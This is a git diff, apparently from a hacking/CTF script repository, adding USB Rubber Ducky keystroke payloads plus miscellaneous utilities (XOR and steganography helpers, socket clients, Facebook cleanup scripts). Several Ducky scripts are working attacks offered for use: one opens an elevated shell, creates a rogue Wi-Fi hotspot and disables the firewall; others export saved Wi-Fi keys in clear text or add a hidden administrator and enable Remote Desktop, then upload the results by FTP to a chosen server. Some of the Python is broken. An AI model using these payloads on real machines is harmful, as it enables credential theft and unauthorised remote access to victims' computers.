wallpaper + +GUI d +DELAY 500 +PRINTSCREEN +DELAY 100 +MENU +DELAY 300 +STRING V +DELAY 40 +STRING D +DELAY 300 +GUI r +DELAY 700 +STRING mspaint +ENTER +DELAY 1200 +CTRL v +DELAY 500 +CTRL s +DELAY 1000 +STRING %userprofile%\a.bmp +ENTER +DELAY 500 +ALT f +DELAY 400 +STRING K +DELAY 100 +STRING F +DELAY 1000 +ALT F4 +DELAY 300 +GUI d diff --git a/Rubber_Duck/bt3gl/windows/wifi_backdoor.txt b/Rubber_Duck/bt3gl/windows/wifi_backdoor.txt new file mode 100644 index 0000000..4d83ea5 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/wifi_backdoor.txt @@ -0,0 +1,23 @@ +Open a CMD bypassing UAC then create a wireless access point with the SSID noobcake and WPA key 12345678, then lower firewall. + +CONTROL ESCAPE +DELAY 200 +STRING cmd +DELAY 200 +MENU +DELAY 100 +STRING a +DELAY 100 +LEFTARROW +ENTER +DELAY 200 +STRING netsh wlan set hostednetwork mode=allow ssid=noobcake key=12345678 +ENTER +DELAY 100 +STRING netsh wlan start hostednetwork +ENTER +DELAY 100 +STRING netsh firewall set opmode disable +ENTER +STRING exit +ENTER \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/wifi_firewall.txt b/Rubber_Duck/bt3gl/windows/wifi_firewall.txt new file mode 100644 index 0000000..a459528 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/wifi_firewall.txt @@ -0,0 +1,48 @@ +This script will enter the command shell as administrator, disable the firewall and export the wifi settings then send to an ftp server of your choice. the cool part is that the security is exported in clear text. After sending the file it will delete the exports from the sending directory and restore the firewall. + +DELAY 2000 +ESCAPE +CONTROL ESCAPE +DELAY 400 +STRING cmd +DELAY 400 +CTRL-SHIFT ENTER +DELAY 400 +STRING netsh firewall set opmode mode=disable +ENTER +DELAY 400 +STRING netsh wlan export profile key=clear +ENTER +DELAY 400 +STRING cd USERPROFILE +ENTER +DELAY 400 +STRING ftp -i ftp server +ENTER +DELAY 400 +STRING username +ENTER +DELAY 400 +STRING password +ENTER +DELAY 600 +STRING prompt +ENTER +DELAY 400 +STRING prompt +ENTER +DELAY 400 +STRING MPUT *.xml +ENTER +DELAY 4000 +STRING bye +ENTER +DELAY 400 +STRING del *.xml +ENTER +DELAY 200 +STRING netsh firewall set opmode mode=enable +ENTER +DELAY 400 +ALT SPACE +STRING c \ No newline at end of file diff --git a/Rubber_Duck/bt3gl/windows/wifi_firewall2.txt b/Rubber_Duck/bt3gl/windows/wifi_firewall2.txt new file mode 100644 index 0000000..99f7cd6 --- /dev/null +++ b/Rubber_Duck/bt3gl/windows/wifi_firewall2.txt @@ -0,0 +1,66 @@ +Script for turning off the firewall, adding a user, making it an administrator, enabling remote access and sending (by FTP) the IP number to a server of your choice, then deleting the file. + +DELAY 2000 +ESCAPE +CONTROL ESCAPE +DELAY 400 +STRING cmd +DELAY 400 +CTRL-SHIFT ENTER +DELAY 400 +STRING netsh firewall set opmode mode=disable +ENTER +DELAY 400 +STRING ALT y +ENTER +DELAY 400 +STRING net user /add username password +ENTER +DELAY 400 +STRING net localgroup administrators username /add +ENTER +DELAY 400 +STRING reg add “hklm\system\currentControlSet\Control\Terminal Server” /v “AllowTSConnections” /t REG_DWORD /d 0×1 /f +ENTER +DELAY 400 +STRING reg add “hklm\system\currentControlSet\Control\Terminal Server” /v “fDenyTSConnections” /t REG_DWORD /d 0×0 /f +ENTER +DELAY 400 +STRING sc config TermService start= auto +ENTER +DELAY 400 +STRING net start Termservice +ENTER +DELAY 400 +STRING cd USERPROFILE +ENTER +DELAY 400 +STRING ipconfig /all > number.txt +ENTER +DELAY 400 +STRING ftp -i ftp server +ENTER +DELAY 400 +STRING login name +ENTER +DELAY 400 +STRING login password +ENTER +DELAY 600 +STRING prompt +ENTER +DELAY 400 +STRING prompt +ENTER +DELAY 400 +STRING PUT number.txt +ENTER +DELAY 2000 +STRING bye +ENTER +DELAY 400 +STRING del number.txt +ENTER +DELAY 400 +ALT SPACE +STRING c \ No newline at end of file diff --git a/Steganography/compare_two_images.py b/Steganography/compare_two_images.py new file mode 100755 index 0000000..8a25f2e --- /dev/null +++ b/Steganography/compare_two_images.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +__author__='bt3gl' +''' +Compare two aligned images of the same size. + +Usage: python compare.py first-image second-image +''' + +import sys + +from scipy.misc import imread, imsave + + +def compare_images(img1, img2): + diff = img1 + img2 + imsave('sum.png', diff) + diff = img1 - img2 + imsave('diff.png', diff) + + + +def main(): + file1, file2 = sys.argv[1:1+2] + img1 = imread(file1).astype(float) + img2 = imread(file2).astype(float) + compare_images(img1, img2) + +if __name__ == "__main__": + main() diff --git a/Useful_Scripts/Facebook/README.md b/Useful_Scripts/Facebook/README.md new file mode 100644 index 0000000..7bf95bc --- /dev/null +++ b/Useful_Scripts/Facebook/README.md @@ -0,0 +1,9 @@ +Facebook Tricks +=============== + +* Delete all your post and likes ("We want privacy"). + +* Script to say thank you for all bday wishes. + + +PS: I don't use facebook (ew!) but the last time I tested it worked... \ No newline at end of file diff --git a/Useful_Scripts/Facebook/bday_thanks.py b/Useful_Scripts/Facebook/bday_thanks.py new file mode 100644 index 0000000..2f3f8a4 --- /dev/null +++ b/Useful_Scripts/Facebook/bday_thanks.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python + +#Dont forget to install the facebook python SDK + + +import facebook +import json +import os +import random +from time import sleep + +FB_ACCESS_TOKEN = # you need to set this + +access_token = os.getenv('FB_ACCESS_TOKEN') + + +# Define message +thankyou_messages = [ + 'Thank you!', + 'Thanks!', + 'Thank you! I appreciate it!!!' +] + +# "birthday" query +birthday_fql = ("SELECT post_id, actor_id, target_id, created_time, message, comments " + "FROM stream " + "WHERE source_id = me() " + "AND filter_key = 'others' " + "AND created_time > 1391346000 " + "AND actor_id != me() " + "AND comments.count = 0 " + "AND comments.can_post = 1 " + "AND (strpos(message, 'birthday') >= 0 " + "OR strpos(message, 'Birthday') >= 0 " + "OR strpos(message, 'happy') >= 0 " + "OR strpos(message, 'Happy') >= 0) " + "LIMIT 500") + +# new GraphAPI instance with our access token +graph = facebook.GraphAPI(access_token) + +# birthday posts using our FQL query +query_result = graph.get_object('fql', q=birthday_fql) + +# data from the response +birthday_posts = query_result['data'] + +# how many posts +print'Query returned: ', len(birthday_posts) + +# loop through returned posts +for post in birthday_posts: + post_id = post['post_id'] + graph.put_object(post_id, 'likes') + rand_message = random.choice(thankyou_messages) + graph.put_object(post_id, 'comments', message=rand_message) + print 'The like/comment should have posted for post', post_id + sleep(0.1) # tenth of a second + +print('Done!'') \ No newline at end of file diff --git a/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_comments.js b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_comments.js new file mode 100644 index 0000000..f756bbf --- /dev/null +++ b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_comments.js @@ -0,0 +1,11 @@ +# run on: +#https://www.facebook.com/your-username/allactivity?privacy_source=activity_log&log_filter=cluster_116 + +$("html, body").animate({ scrollTop: $(document).height() }, "slow"); +setInterval (function () { + var last = $("._6a._6b.uiPopover.rfloat a span").last().click(); + $("span:contains(Delete):visible").click(); + var post = last.closest("[data-ft]"); + post.prev().remove(); + post.remove(); +}, 400); \ No newline at end of file diff --git a/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_likes.js b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_likes.js new file mode 100644 index 0000000..3bb00c8 --- /dev/null +++ b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_likes.js @@ -0,0 +1,11 @@ +# run on: +#https://www.facebook.com/your-username/allactivity?privacy_source=activity_log&log_filter=likes + +$("html, body").animate({ scrollTop: $(document).height() }, "slow"); +setInterval(function () { + var last = $("._6a._6b.uiPopover.rfloat a span").last().click(); + $("span:contains(Unlike):visible").click(); + var post = last.closest("[data-ft]"); + post.prev().remove(); + post.remove(); +}, 400); \ No newline at end of file diff --git a/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_messages.js b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_messages.js new file mode 100644 index 0000000..fb62f05 --- /dev/null +++ b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_messages.js @@ -0,0 +1,9 @@ +# run on your account +var i = setInterval(function () { + $ul = $("#wmMasterViewThreadlist") + if (!$ul.find("li").length) return clearInterval(i); + $ul.find("li").last().find("span").click() + $("button:contains('Actions')").click() + $("span:contains('Delete Conversation...')").click() + $("input[value='Delete Conversation']").click() +}, 500); \ No newline at end of file diff --git a/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_posts.js b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_posts.js new file mode 100644 index 0000000..1ac8c4b --- /dev/null +++ b/Useful_Scripts/Facebook/we_want_privacy/script_to_delete_posts.js @@ -0,0 +1,12 @@ +# run on: +# https://www.facebook.com/your-username/allactivity?privacy_source=activity_log&log_filter=cluster_11 + +$("html, body").animate({ scrollTop: $(document).height() }, "slow"); +setInterval (function () { + var last = $("._6a._6b.uiPopover.rfloat a span").last().click(); + $("span:contains(Delete):visible").click(); + setTimeout(function () { + $("button:contains(Delete Post):visible").click(); + last.closest("table").remove(); + }, 1000); +}, 7000); \ No newline at end of file diff --git a/Useful_Scripts/find_word_inside_text.py b/Useful_Scripts/find_word_inside_text.py new file mode 100644 index 0000000..2323244 --- /dev/null +++ b/Useful_Scripts/find_word_inside_text.py @@ -0,0 +1,25 @@ +#!/usr/bin/env python + +__author__ = "bt3gl" + +# given two text, find the difference between them +# useful for ciphers, for example vinegere, when +# everything is all together + +def find_word(A, B): + FOUND = False + for i in range(min(len(A), len(B))): + if A[i] != B[i] and not FOUND: + index = i + FOUND = True + return index + + + +if __name__ == '__main__': + A = 'THISTIMEWEWILLGIVEYOUMOREPLAINTEXTTOWORKWITHYOUWILLPROBABLYFINDTHATHAVINGEXTRACONTENTTHATISASCIIMAKESTHISONEMORESOLVABLEITWOULDBESOLVABLEWITHOUTTHATBUTWEWILLMAKESURETOGIVELOTSOFTEXTJUSTTOMAKESURETHATWECANHANDLEITIWONDERHOWMUCHWILLBEREQUIREDLETSPUTTHEMAGICPHRASEFORTHENEXTLEVELINTHEMIDDLERIGHTHERENOTHINGTRICKYOKNOWMORETEXTTOMAKESURETHATITISSOLVABLEISHOULDPROBABLYJUSTPUTINSOMENURSERYRHYMEORSOMETHINGMARYHADALITTLELAMBLITTLELAMBLITTLELAMBMARYHADALITTLELAMBWHOSEFLEEZEWASWHITEASSNOWIDONTWANTTOMAKETHISHARDERTHANITNEEDSTOBEIFYOUVESOLVEDALOTOFSIMPLECRYPTOCHALLENGESYOUPROBABLYALREADYHAVETHECODEANDWILLBREEZERIGHTTHROUGHITIFITHELPSMOSTOFTHEPLAINTEXTISSTATICATEACHOFTHELEVELSIMNOTAMASOCHISTTHEFUNNYTHINGISTHATDEPENDINGONWHICHRANDOMKEYYOUGETTHATPOEMMIGHTBEEXACTLYTHERIGHTOFFSETTOSUCCESSFULLYMOUNTANATTACKWELLSEELITTLEBITMORELITTLEBITMORETHERE' + B = 'THISTIMEWEWILLGIVEYOUMOREPLAINTEXTTOWORKWITHYOUWILLPROBABLYFINDTHATHAVINGEXTRACONTENTTHATISASCIIMAKESTHISONEMORESOLVABLEITWOULDBESOLVABLEWITHOUTTHATBUTWEWILLMAKESURETOGIVELOTSOFTEXTJUSTTOMAKESURETHATWECANHANDLEITIWONDERHOWMUCHWILLBEREQUIREDLETSPUTTHEMAGICPHRASEFORTHENEXTLEVELINTHEMIDDLERIGHTHEREBLAHLAHOKNOWMORETEXTTOMAKESURETHATITISSOLVABLEISHOULDPROBABLYJUSTPUTINSOMENURSERYRHYMEORSOMETHINGMARYHADALITTLELAMBLITTLELAMBLITTLELAMBMARYHADALITTLELAMBWHOSEFLEEZEWASWHITEASSNOWIDONTWANTTOMAKETHISHARDERTHANITNEEDSTOBEIFYOUVESOLVEDALOTOFSIMPLECRYPTOCHALLENGESYOUPROBABLYALREADYHAVETHECODEANDWILLBREEZERIGHTTHROUGHITIFITHELPSMOSTOFTHEPLAINTEXTISSTATICATEACHOFTHELEVELSIMNOTAMASOCHISTTHEFUNNYTHINGISTHATDEPENDINGONWHICHRANDOMKEYYOUGETTHATPOEMMIGHTBEEXACTLYTHERIGHTOFFSETTOSUCCESSFULLYMOUNTANATTACKWELLSEELITTLEBITMORELITTLEBITMORETHERE' + + index = find_word(A, B) + print A[index: index + 15] + print B[index: index + 15] \ No newline at end of file diff --git a/Useful_Scripts/netcat.py b/Useful_Scripts/netcat.py new file mode 100644 index 0000000..6191150 --- /dev/null +++ b/Useful_Scripts/netcat.py @@ -0,0 +1,31 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +import socket + + +def netcat(hostname, port, content): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((hostname, port)) + s.sendall(content) + s.shutdown(socket.SHUT_WR) + adata = [] + while 1: + data = s.recv(1024) + if data == "": + break + adata.append(data) + s.close() + return adata + + + +if __name__ == '__main__': + + PORT = 12345 + HOSTNAME = '54.209.5.48' + message = netcat(HOSTNAME, PORT, '')[1] + print message \ No newline at end of file diff --git a/Useful_Scripts/reading_socket.py b/Useful_Scripts/reading_socket.py new file mode 100644 index 0000000..0e58efe --- /dev/null +++ b/Useful_Scripts/reading_socket.py @@ -0,0 +1,72 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +import os +import socket +import select +from time import sleep +import binascii +from subprocess import Popen,STDOUT,PIPE +import os +from math import * +import string + + + +def next_line(stdout): + # read inputs in lines + line = "" + while True: + r = stdout.read(1) + if r == '\n': + break + line += r + return line + + +def write(stdin,val): + # write outputs + stdin.write(val) + + +def nl(): + # shorter next line for iteration + return next_line(p.stdout) + + +def wr(val): + # shorter write for iteration + write(p.stdin,val) + + +def ntext(): + line = "" + while "psifer text:" not in line: + line = nl() + return line[len("psifer text:") + 1:] + + + + +def main(): + SHELL_COMMAND = "nc 54.209.5.48 12345" + + p = Popen(SHELL_COMMAND, shell=True, cwd="./", stdin=PIPE, + stdout=PIPE, stderr=STDOUT,close_fds=True) + + + while True: + text = ntext() + text += " -> just an example" + wr(ans + '\n') + + ret = p.wait() + print "Return code: %d" % ret + + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/Useful_Scripts/reading_telnet.py b/Useful_Scripts/reading_telnet.py new file mode 100644 index 0000000..2752f83 --- /dev/null +++ b/Useful_Scripts/reading_telnet.py @@ -0,0 +1,22 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +from telnetlib import Telnet + + +# examples of telnet connections +PORT = 12345 +HOST = '54.209.5.48' + +# creating connection +tn = Telnet(HOST ,PORT) + +# reading input +msg_in2 = tn.read_all().dec_msg() +tn.read_until(b'psifer text: ') + +# writing outputs +tn.write(msg.encode() + b'\n') diff --git a/Useful_Scripts/untar_bz2_script.sh b/Useful_Scripts/untar_bz2_script.sh new file mode 100755 index 0000000..19a0737 --- /dev/null +++ b/Useful_Scripts/untar_bz2_script.sh @@ -0,0 +1,5 @@ +#!/bin/sh +for file in *.tar.bz2; +do mkdir -p "${file}-extracted"; +tar --directory "${file}-extracted" -xjf "${file}"; +done \ No newline at end of file diff --git a/Useful_Scripts/xor_bytes.py b/Useful_Scripts/xor_bytes.py new file mode 100644 index 0000000..7ad7902 --- /dev/null +++ b/Useful_Scripts/xor_bytes.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + + +__author__ = "bt3gl" + + +def xor_str(str1, str2): + flag = "" + for i in range(len(str1)): + flag += (chr(int(str1[i], 16) ^ int(str2[i], 16))) + print flag + + +if __name__ == '__main__': + kTXt = ''.join('28 36 38 2C 10 03 04 14 0A 15 08 14 02 07 08 18 0D 00 61 04 16 11 0B 12 00 07 61 03 0C 73 02 1F 02 1D 06 12 63 04 08 03 0B 1C 14 03 63 1D 0E 03 0A 10 04 2A 61 8F AC C1 00 00 00 00').split() + xORk = ''.join('43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57 43 53 41 57').split() + + xor_str(kTXt, xORk) \ No newline at end of file diff --git a/Useful_Scripts/xor_imag.go b/Useful_Scripts/xor_imag.go new file mode 100644 index 0000000..5821eeb --- /dev/null +++ b/Useful_Scripts/xor_imag.go @@ -0,0 +1,25 @@ +package main + +import ( + "fmt" + "os" +) + +func main() { + file, err := os.Open("ataylor.png") + if err != nil { + fmt.Println(err) + return + } + info, _ := os.Stat("ataylor.png") + input := make([]byte, info.Size()) + out := make([]byte, len(input)) + file.Read(input) + + key := [...]byte{0x43, 0x53, 0x41, 0x57} // CSAW + for i := 0; i < len(input); i++ { + out[i] = input[i] ^ key[i%len(key)] + } + + fmt.Println(string(out)) +} \ No newline at end of file